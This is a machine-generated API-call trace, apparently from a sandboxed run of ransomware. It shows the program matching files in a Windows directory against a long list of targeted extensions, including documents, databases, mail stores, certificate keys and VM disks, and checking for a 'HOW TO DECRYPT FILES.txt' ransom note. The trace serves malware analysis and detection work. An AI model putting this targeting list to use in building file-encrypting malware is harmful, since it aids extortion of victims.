[0121.299] lstrlenA (lpString="*.png") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.php") returned 0 [0121.299] lstrlenA (lpString="*.php") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.cs") returned 0 [0121.299] lstrlenA (lpString="*.cs") returned 4 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.cpp") returned 0 [0121.299] lstrlenA (lpString="*.cpp") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.rar") returned 0 [0121.299] lstrlenA (lpString="*.rar") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.zip") returned 0 [0121.299] lstrlenA (lpString="*.zip") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.html") returned 0 [0121.299] lstrlenA (lpString="*.html") returned 6 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.htm") returned 0 [0121.300] lstrlenA (lpString="*.htm") returned 5 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.xlsx") returned 0 [0121.300] lstrlenA (lpString="*.xlsx") returned 6 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.xls") returned 0 [0121.300] lstrlenA (lpString="*.xls") returned 5 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mp4") returned 0 [0121.300] lstrlenA (lpString="*.mp4") returned 5 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.ppt") returned 0 [0121.300] lstrlenA (lpString="*.ppt") returned 5 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.pptx") returned 0 [0121.300] lstrlenA (lpString="*.pptx") returned 6 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.doc") returned 0 [0121.300] lstrlenA (lpString="*.doc") returned 5 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.dot") returned 0 [0121.300] lstrlenA (lpString="*.dot") returned 5 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.docx") returned 0 [0121.300] lstrlenA (lpString="*.docx") returned 6 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.7z") returned 0 [0121.300] lstrlenA (lpString="*.7z") returned 4 [0121.300] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.tar") returned 0 [0121.300] lstrlenA (lpString="*.tar") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.bz2") returned 0 [0121.301] lstrlenA (lpString="*.bz2") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.gz") returned 0 [0121.301] lstrlenA (lpString="*.gz") returned 4 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mkv") returned 0 [0121.301] lstrlenA (lpString="*.mkv") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.eml") returned 0 [0121.301] lstrlenA (lpString="*.eml") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.msg") returned 0 [0121.301] lstrlenA (lpString="*.msg") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.edb") returned 0 [0121.301] lstrlenA (lpString="*.edb") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.accdb") returned 0 [0121.301] lstrlenA (lpString="*.accdb") returned 7 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.odb") returned 0 [0121.301] lstrlenA (lpString="*.odb") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.java") returned 0 [0121.301] lstrlenA (lpString="*.java") returned 6 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.asm") returned 0 [0121.301] lstrlenA (lpString="*.asm") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.pfx") returned 0 [0121.301] lstrlenA (lpString="*.pfx") returned 5 [0121.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.pem") returned 0 [0121.302] lstrlenA (lpString="*.pem") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.p12") returned 0 [0121.302] lstrlenA (lpString="*.p12") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.gpg") returned 0 [0121.302] lstrlenA (lpString="*.gpg") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.vsd") returned 0 [0121.302] lstrlenA (lpString="*.vsd") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.odg") returned 0 [0121.302] lstrlenA (lpString="*.odg") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.raw") returned 0 [0121.302] lstrlenA (lpString="*.raw") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.nef") returned 0 [0121.302] lstrlenA (lpString="*.nef") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.svg") returned 0 [0121.302] lstrlenA (lpString="*.svg") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.psd") returned 0 [0121.302] lstrlenA (lpString="*.psd") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.vmx") returned 0 [0121.302] lstrlenA (lpString="*.vmx") returned 5 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.vmdk") returned 0 [0121.302] lstrlenA (lpString="*.vmdk") returned 6 [0121.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.vdi") returned 0 [0121.302] lstrlenA (lpString="*.vdi") returned 5 [0121.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.lay6") returned 0 [0121.303] lstrlenA (lpString="*.lay6") returned 6 [0121.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mpeg") returned 0 [0121.303] lstrlenA (lpString="*.mpeg") returned 6 [0121.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.djvu") returned 0 [0121.303] lstrlenA (lpString="*.djvu") returned 6 [0121.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.tiff") returned 0 [0121.303] lstrlenA (lpString="*.tiff") returned 6 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.backup") returned 0 [0121.304] lstrlenA (lpString="*.backup") returned 8 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.pdf") returned 0 [0121.304] lstrlenA (lpString="*.pdf") returned 5 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.cert") returned 0 [0121.304] lstrlenA (lpString="*.cert") returned 6 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.docm") returned 0 [0121.304] lstrlenA (lpString="*.docm") returned 6 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.xlsm") returned 0 [0121.304] lstrlenA (lpString="*.xlsm") returned 6 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.dwg") returned 0 [0121.304] lstrlenA (lpString="*.dwg") returned 5 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.nd") returned 0 [0121.304] lstrlenA (lpString="*.nd") returned 4 [0121.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.tlg") returned 0 [0121.304] lstrlenA (lpString="*.tlg") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.lgb") returned 0 [0121.305] lstrlenA (lpString="*.lgb") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mov") returned 0 [0121.305] lstrlenA (lpString="*.mov") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.xdw") returned 0 [0121.305] lstrlenA (lpString="*.xdw") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.ods") returned 0 [0121.305] lstrlenA (lpString="*.ods") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.wav") returned 0 [0121.305] lstrlenA (lpString="*.wav") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mp3") returned 0 [0121.305] lstrlenA (lpString="*.mp3") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.aiff") returned 0 [0121.305] lstrlenA (lpString="*.aiff") returned 6 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.flac") returned 0 [0121.305] lstrlenA (lpString="*.flac") returned 6 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.m4a") returned 0 [0121.305] lstrlenA (lpString="*.m4a") returned 5 [0121.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.csv") returned 0 [0121.305] lstrlenA (lpString="*.csv") returned 5 [0121.305] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f84df50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f84df50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f84df50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.305] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.305] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.ni.dll.aux") returned -1 [0121.305] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.ni.dll.aux") returned -1 [0121.305] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.ni.dll.aux") returned -1 [0121.306] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll") returned="System.ServiceModel.ni.dll" [0121.306] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\" [0121.306] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\") returned="" [0121.306] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt" [0121.306] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servicemodel\\0371737a900d7e56cc065700948f6ff3\\how to decrypt files.txt")) returned 0x20 [0121.306] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\", lpString2="System.ServiceModel.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux" [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.306] lstrlenA (lpString="*.ems") returned 5 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.db") returned 0 [0121.306] lstrlenA (lpString="*.db") returned 4 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.dbf") returned 0 [0121.306] lstrlenA (lpString="*.dbf") returned 5 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.myox") returned 0 [0121.306] lstrlenA (lpString="*.myox") returned 6 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.myo") returned 0 [0121.306] lstrlenA (lpString="*.myo") returned 5 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qbw") returned 0 [0121.306] lstrlenA (lpString="*.qbw") returned 5 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qbb") returned 0 [0121.306] lstrlenA (lpString="*.qbb") returned 5 [0121.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qbm") returned 0 [0121.306] lstrlenA (lpString="*.qbm") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qbo") returned 0 [0121.307] lstrlenA (lpString="*.qbo") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qbx") returned 0 [0121.307] lstrlenA (lpString="*.qbx") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qba") returned 0 [0121.307] lstrlenA (lpString="*.qba") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qby") returned 0 [0121.307] lstrlenA (lpString="*.qby") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qbj") returned 0 [0121.307] lstrlenA (lpString="*.qbj") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.ofx") returned 0 [0121.307] lstrlenA (lpString="*.ofx") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.qif") returned 0 [0121.307] lstrlenA (lpString="*.qif") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mye") returned 0 [0121.307] lstrlenA (lpString="*.mye") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mbox") returned 0 [0121.307] lstrlenA (lpString="*.mbox") returned 6 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.eml") returned 0 [0121.307] lstrlenA (lpString="*.eml") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.pst") returned 0 [0121.307] lstrlenA (lpString="*.pst") returned 5 [0121.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.ost") returned 0 [0121.307] lstrlenA (lpString="*.ost") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.idx") returned 0 [0121.308] lstrlenA (lpString="*.idx") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.dbx") returned 0 [0121.308] lstrlenA (lpString="*.dbx") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.sql") returned 0 [0121.308] lstrlenA (lpString="*.sql") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mdb") returned 0 [0121.308] lstrlenA (lpString="*.mdb") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.fdb") returned 0 [0121.308] lstrlenA (lpString="*.fdb") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.wab") returned 0 [0121.308] lstrlenA (lpString="*.wab") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.dat") returned 0 [0121.308] lstrlenA (lpString="*.dat") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.txt") returned 0 [0121.308] lstrlenA (lpString="*.txt") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0121.308] lstrlenA (lpString="*.jpeg") returned 6 [0121.308] PathMatchSpecA 